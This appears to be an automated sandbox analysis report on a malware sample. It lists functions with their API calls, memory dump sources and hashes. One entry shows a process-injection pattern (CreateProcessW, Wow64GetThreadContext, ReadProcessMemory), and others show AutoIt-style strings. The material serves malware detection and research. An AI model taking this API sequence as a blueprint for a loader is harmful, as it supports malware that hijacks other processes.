Function 0162FBD8 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01630405
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01630429
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0163044B

Memory Dump Source

Source File: 00000000.00000002.1470150124.000000000162E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0162E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_162e000_J8V6dFanEo.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: b6a4c29ec9195df02a43fc4b15474606dfbde67be6cfae9816a363b0bdbc2b3f
Instruction ID: 29f005f592b28141ee2f77550a5f42b243a9db7d59cc7d99082f6de6b69a9f57
Opcode Fuzzy Hash: b6a4c29ec9195df02a43fc4b15474606dfbde67be6cfae9816a363b0bdbc2b3f
Instruction Fuzzy Hash: 8A62FC30A14218DBEB24CBA4CC50BDEB776EF98300F1091A9E10DEB395E7759E85CB59

Function 00F2955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00EC4EE5: _fseek.LIBCMT ref: 00EC4EFD

Part of subcall function 00F29734: _wcscmp.LIBCMT ref: 00F29824
Part of subcall function 00F29734: _wcscmp.LIBCMT ref: 00F29837

_free.LIBCMT ref: 00F296A2
_free.LIBCMT ref: 00F296A9
_free.LIBCMT ref: 00F29714

Part of subcall function 00EE2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00EE9A24), ref: 00EE2D69
Part of subcall function 00EE2D55: GetLastError.KERNEL32(00000000,?,00EE9A24), ref: 00EE2D7B

_free.LIBCMT ref: 00F2971C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 57d0d2f04a8deae04fb8388104c663c78e861137db03f429770e89b5c3a69279
Instruction ID: aa1604f4e575f6124bde39921f0cd12ed252c08dfc0690e98affc63db3beac4c
Opcode Fuzzy Hash: 57d0d2f04a8deae04fb8388104c663c78e861137db03f429770e89b5c3a69279
Instruction Fuzzy Hash: 4B516DB1E04268AFDF259F65DC81A9EBBB9EF48300F10049EF209B3241DB715A81CF58

Function 00EE470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00EE47A0
__flush.LIBCMT ref: 00EE47C0
__write.LIBCMT ref: 00EE47F3
__flsbuf.LIBCMT ref: 00EE4821

Part of subcall function 00EE8B28: __getptd_noexit.LIBCMT ref: 00EE8B28

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction ID: 1f5c5949d8d55bf6f71bac268453eeacf76d0c44109ea417437f1a898d8a7a30
Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction Fuzzy Hash: 3E41A5B5A007CD9BDB1C8EABC8809AE77A6EF41364F14917EF415A76C0E770DD408B84

Function 00EC44A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00EC44CF

Part of subcall function 00EC407C: _memset.LIBCMT ref: 00EC40FC
Part of subcall function 00EC407C: _wcscpy.LIBCMT ref: 00EC4150
Part of subcall function 00EC407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00EC4160

KillTimer.USER32(?,00000001,?,?), ref: 00EC4524
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00EC4533
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00EFD4B9

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: c4dd0d2d2f5352b4730499ec8974dfca5ba22535bde9a135d0667c0e7cbec969
Instruction ID: aa035fb0f1191ff67d9261b1b4c0b3a4adb672b76e21e168e155cbbee4e9ce9f
Opcode Fuzzy Hash: c4dd0d2d2f5352b4730499ec8974dfca5ba22535bde9a135d0667c0e7cbec969
Instruction Fuzzy Hash: 032128B49083989FE7328B248C55FF6BFEC9B01308F04108DE79E66181C3752985D741

Function 00EC7285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00EFEA39
GetOpenFileNameW.COMDLG32(?), ref: 00EFEA83

Part of subcall function 00EC4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00EC4743,?,?,00EC37AE,?), ref: 00EC4770

Part of subcall function 00EE0791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00EE07B0

Strings

X, xrefs: 00EFEA51

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 5751076fc4baf3be607ed09dd4fce27ebb15766f12a13420122b9f8b79d0685d
Instruction ID: a4bffd52145d98a33a33e174abba5a1307c54c7244b3b591d1f19ec4fa7f8899
Opcode Fuzzy Hash: 5751076fc4baf3be607ed09dd4fce27ebb15766f12a13420122b9f8b79d0685d
Instruction Fuzzy Hash: DF21F670A0028C9BCB019F94CC45BEE7BF8AF48314F00801AE548BB242DFF5598ACF91

Function 00F28D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F28DAC
__fread_nolock.LIBCMT ref: 00F28DC1

Strings

EA06, xrefs: 00F28DF3

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: ae0f6417742474ae94ff8d47e444d5b88dca2713d40eb6981580a9144a7d2a13
Instruction ID: 1d0c6a47fb23863b7fe7b882a6a2c9f703a5bfc489ea6b1dc115776ac5b76093
Opcode Fuzzy Hash: ae0f6417742474ae94ff8d47e444d5b88dca2713d40eb6981580a9144a7d2a13
Instruction Fuzzy Hash: 9501F972D042587EDF18CAA9C816EFE7BF8DB11311F00459BF552D2181E874E6089760

Function 00F298E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00F298F8
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00F2990F

Strings

aut, xrefs: 00F29909

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 37bcc69790b26eb68a1169389bd454d440fe0a51fa0c1843865a22b41b03fbd6
Instruction ID: d710f74107e522390e6917bbca019ef6dd0771745b77fef74a1d3acdced8d446
Opcode Fuzzy Hash: 37bcc69790b26eb68a1169389bd454d440fe0a51fa0c1843865a22b41b03fbd6
Instruction Fuzzy Hash: E4D05E7958030DABDB509FA0DC0EF9A773CE714700F0042B1BE58910A1EAB096999B92

Function 00F3CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ace6c776c74718864775eabbac9158f399679eeab55c07affc75f5258311bb47
Instruction ID: 327b50ce167d2b956182e1b41ea5b51a1181c3fa1ef201683bae87765acccb38
Opcode Fuzzy Hash: ace6c776c74718864775eabbac9158f399679eeab55c07affc75f5258311bb47
Instruction Fuzzy Hash: ABF13A71A083019FC714DF28C984A6ABBE5FF88324F14892DF899AB351D735E945CF92

Function 00ECF76F Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00EE0162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00EE0193
Part of subcall function 00EE0162: MapVirtualKeyW.USER32(00000010,00000000), ref: 00EE019B
Part of subcall function 00EE0162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00EE01A6
Part of subcall function 00EE0162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00EE01B1
Part of subcall function 00EE0162: MapVirtualKeyW.USER32(00000011,00000000), ref: 00EE01B9
Part of subcall function 00EE0162: MapVirtualKeyW.USER32(00000012,00000000), ref: 00EE01C1

Part of subcall function 00ED60F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00ECF930), ref: 00ED6154

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00ECF9CD
OleInitialize.OLE32(00000000), ref: 00ECFA4A
CloseHandle.KERNEL32(00000000), ref: 00F045C8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 75bfaed1c7b1a58096b4239f5001a6dd02f12160b905cb7a5755ebdff1970277
Instruction ID: d7c706a891999706294221cdfd6e5b0acc1d2e814048c3db768c43766eaf1612
Opcode Fuzzy Hash: 75bfaed1c7b1a58096b4239f5001a6dd02f12160b905cb7a5755ebdff1970277
Instruction Fuzzy Hash: 9181EEB4901A48CFC784EF79AD646F87BE6FB88B06750812AD418CB372EB704485EF11

Function 00EC434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00EC4370
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00EC4415
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00EC4432

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 156f42217fddfde88ea2c4e172372518bd17ad811d8c1f0ec4d1e7eba64755f4
Instruction ID: 76f4aa0e4a038191e571bd7e138f85d2054ebebdb2c2a2cb79906f6b96633f69
Opcode Fuzzy Hash: 156f42217fddfde88ea2c4e172372518bd17ad811d8c1f0ec4d1e7eba64755f4
Instruction Fuzzy Hash: 6231C3B05047058FD721DF24D994BABBBF8FB48708F00092EE69A92291D771A945CB52

Function 00EE571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00EE5733

Part of subcall function 00EEA16B: __NMSG_WRITE.LIBCMT ref: 00EEA192
Part of subcall function 00EEA16B: __NMSG_WRITE.LIBCMT ref: 00EEA19C

__NMSG_WRITE.LIBCMT ref: 00EE573A

Part of subcall function 00EEA1C8: GetModuleFileNameW.KERNEL32(00000000,00F833BA,00000104,?,00000001,00000000), ref: 00EEA25A
Part of subcall function 00EEA1C8: ___crtMessageBoxW.LIBCMT ref: 00EEA308

Part of subcall function 00EE309F: ___crtCorExitProcess.LIBCMT ref: 00EE30A5
Part of subcall function 00EE309F: ExitProcess.KERNEL32 ref: 00EE30AE

Part of subcall function 00EE8B28: __getptd_noexit.LIBCMT ref: 00EE8B28

RtlAllocateHeap.NTDLL(01430000,00000000,00000001,00000000,?,?,?,00EE0DD3,?), ref: 00EE575F

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: e9aa6f97f819318cf3f1fc223e82889ee420de42a5098674bc78f89c92865d83
Instruction ID: 9b5c6587ff07fd37a99181af4e62fdb196efd292e4e89ba672cfcb2afb51993d
Opcode Fuzzy Hash: e9aa6f97f819318cf3f1fc223e82889ee420de42a5098674bc78f89c92865d83
Instruction Fuzzy Hash: CF01F576200B9DDAD6142777EC42A6E77C88F82769F11243BF409BB292DE709C005760

Function 00F298A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00F29548,?,?,?,?,?,00000004), ref: 00F298BB
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00F29548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00F298D1
CloseHandle.KERNEL32(00000000,?,00F29548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00F298D8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 6357607d9b303f33f4ed060c0b5a69bb40c9a3f7d732e2d61e21405d0859f54f
Instruction ID: ed28605f29ed503c3581014e3770da5c05f97ffb0079af7dbb46e4914a0e0c5d
Opcode Fuzzy Hash: 6357607d9b303f33f4ed060c0b5a69bb40c9a3f7d732e2d61e21405d0859f54f
Instruction Fuzzy Hash: 98E08636140228B7E7211FA4EC09FDA7B59AB57B70F144120FF18690E087B12515A798

Function 00F28D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F28D1B

Part of subcall function 00EE2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00EE9A24), ref: 00EE2D69
Part of subcall function 00EE2D55: GetLastError.KERNEL32(00000000,?,00EE9A24), ref: 00EE2D7B

_free.LIBCMT ref: 00F28D2C
_free.LIBCMT ref: 00F28D3E

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
Instruction ID: 91d76975dee800b87233270072f1ed3b6ad5342e2afff92e98db422e96c00882
Opcode Fuzzy Hash: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
Instruction Fuzzy Hash: AAE0C2A1A02A5083CB20A979BC40B8313DC4F483A2744080DB60DE7186CE64F8439024

Function 00ECA9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 00EFFC01

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 397813e953aae710700d610acaefb0677382e4552938a3b56b885265b73a4c48
Instruction ID: 9b6befd6cadc3f73666c03aec71efc342e55942961eba15e3a5f8e28113a8a4f
Opcode Fuzzy Hash: 397813e953aae710700d610acaefb0677382e4552938a3b56b885265b73a4c48
Instruction Fuzzy Hash: 75226970508245CFCB24DF14C555F6AB7E1BF84308F18996DE89AAB362D732EC42DB82

Function 00EC4C70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00EC4CBA

Strings

EA06, xrefs: 00EFD8CC

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: d3dcdbad9d5f33469c7dd3a0fbecbc5c84ea239275bb026b3e04cdd0646114c6
Instruction ID: bcd09471bef13d1709bfaffb1ae5de8da51cc356abae603ceb653b01ae24d051
Opcode Fuzzy Hash: d3dcdbad9d5f33469c7dd3a0fbecbc5c84ea239275bb026b3e04cdd0646114c6
Instruction Fuzzy Hash: 63417CA1A041585BDF216B548E71FFE7FF29B45300F28646CEC83BB2C2D6229D4683A1

Function 00EC47D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00EC4834

Part of subcall function 00EE336C: __lock.LIBCMT ref: 00EE3372
Part of subcall function 00EE336C: DecodePointer.KERNEL32(00000001,?,00EC4849,00F17C74), ref: 00EE337E
Part of subcall function 00EE336C: EncodePointer.KERNEL32(?,?,00EC4849,00F17C74), ref: 00EE3389

Part of subcall function 00EC48FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00EC4915
Part of subcall function 00EC48FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00EC492A

Part of subcall function 00EC3B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00EC3B68
Part of subcall function 00EC3B3A: IsDebuggerPresent.KERNEL32 ref: 00EC3B7A
Part of subcall function 00EC3B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,00F852F8,00F852E0,?,?), ref: 00EC3BEB
Part of subcall function 00EC3B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 00EC3C6F

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00EC4874

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: a8494de888e0347f14b2b3d3fde1b37a320b926de713d8010d2260eb3c918647
Instruction ID: f69c93925a03d7b96004b59d06911ef0b0e8d294fe0c9a7c6498c6f8e969f10d
Opcode Fuzzy Hash: a8494de888e0347f14b2b3d3fde1b37a320b926de713d8010d2260eb3c918647
Instruction Fuzzy Hash: 0A11CD728083499BC700EF29E909E5EBFE8EF95750F10451EF444A32B2DB718949DB82

Function 00EE0DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00EE571C: __FF_MSGBANNER.LIBCMT ref: 00EE5733
Part of subcall function 00EE571C: __NMSG_WRITE.LIBCMT ref: 00EE573A
Part of subcall function 00EE571C: RtlAllocateHeap.NTDLL(01430000,00000000,00000001,00000000,?,?,?,00EE0DD3,?), ref: 00EE575F

std::exception::exception.LIBCMT ref: 00EE0DEC
__CxxThrowException@8.LIBCMT ref: 00EE0E01

Part of subcall function 00EE859B: RaiseException.KERNEL32(?,?,?,00F79E78,00000000,?,?,?,?,00EE0E06,?,00F79E78,?,00000001), ref: 00EE85F0

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: fc76aad4317558b3b3a07d51067be3ccc659b3308420a2f87b04c6f1d7c78196
